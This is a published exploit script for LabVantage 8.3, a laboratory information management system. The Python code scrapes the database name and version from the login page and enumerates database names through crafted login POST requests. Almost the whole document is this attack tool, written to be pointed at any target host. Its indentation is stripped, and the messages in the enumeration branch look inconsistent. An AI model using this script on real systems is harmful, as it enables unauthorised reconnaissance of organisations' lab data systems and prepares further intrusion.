# Exploit Title: LabVantage 8.3 - Information Disclosure  
# Google Dork: N/A  
# Date: 2020-02-16  
# Exploit Author: Joel Aviad Ossi  
# Vendor Homepage: labvantage.com  
# Software Link: N/A  
# Version: LabVantage 8.3  
# Tested on: *  
# CVE : N/A  
  
  
import requests  
import operator  
  
  
def exploit(target):  
print("[+] Fetching LabVantage Database Name..")  
start = "name=\"database\" id=\"database\" value=\""  
end = "\" >"  
vstart = "<img src=\"WEB-OPAL/layouts/images/logo_white.png\" title=\""  
vend = "viewportTest"  
print("[+] Testing URL: " + target)  
r = requests.get(target)  
memory = r.text  
print("[+] DB: " + memory[memory.find(start) + len(start):memory.rfind(end)])  
print("[+] VERSION: " + memory[memory.find(vstart) + len(vstart):memory.rfind(vend)][:-71])  
print("[+] Vulnerable!")  
  
  
def vuln_check():  
target = input("\nTARGET HOST URL (example: target.com:8080): ")  
print('[+] Checking if Host is vulnerable.')  
target = (str(target) + "/labservices/logon.jsp")  
r = requests.get(target)  
memory = r.text  
s = "name=\"database\" id=\"database\" value=\""  
if not operator.contains(memory, s):  
print("[-] Not Vulnerable!")  
exit(0)  
else:  
exploit(target)  
  
  
def attack():  
target = input("\nTARGET HOST URL (example: http://target.com:8080): ")  
enum = input("\nDB NAME TO CHECK: ")  
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',  
'Content-Type': 'application/x-www-form-urlencoded'}  
payload = ({'nexturl': 'null', 'ignorelogonurl': 'N', 'ignoreexpirywarning': 'false',  
'_viewport': 'null', 'username': 'null', 'password': 'null',  
'database': ''+str(enum)+'', 'csrftoken': 'null'})  
target = (str(target) + "/labservices/rc?command=login")  
print("[+] Testing URL: " + target)  
r = requests.post(target, headers=headers, data=payload)  
memory = r.text  
start = "Unrecognized"  
if start in memory:  
print('[+] DB NOT FOUND!')  
else:  
print('[!] NO FOUND!')  
  
  
print("\n1. Vulnerability Check\n2. DB Name Enumeration\n")  
option = input("CHOSE OPTION: ")  
if option == "1":  
vuln_check()  
elif option == "2":  
attack()  
else:  
print("Wrong option selected, try again!")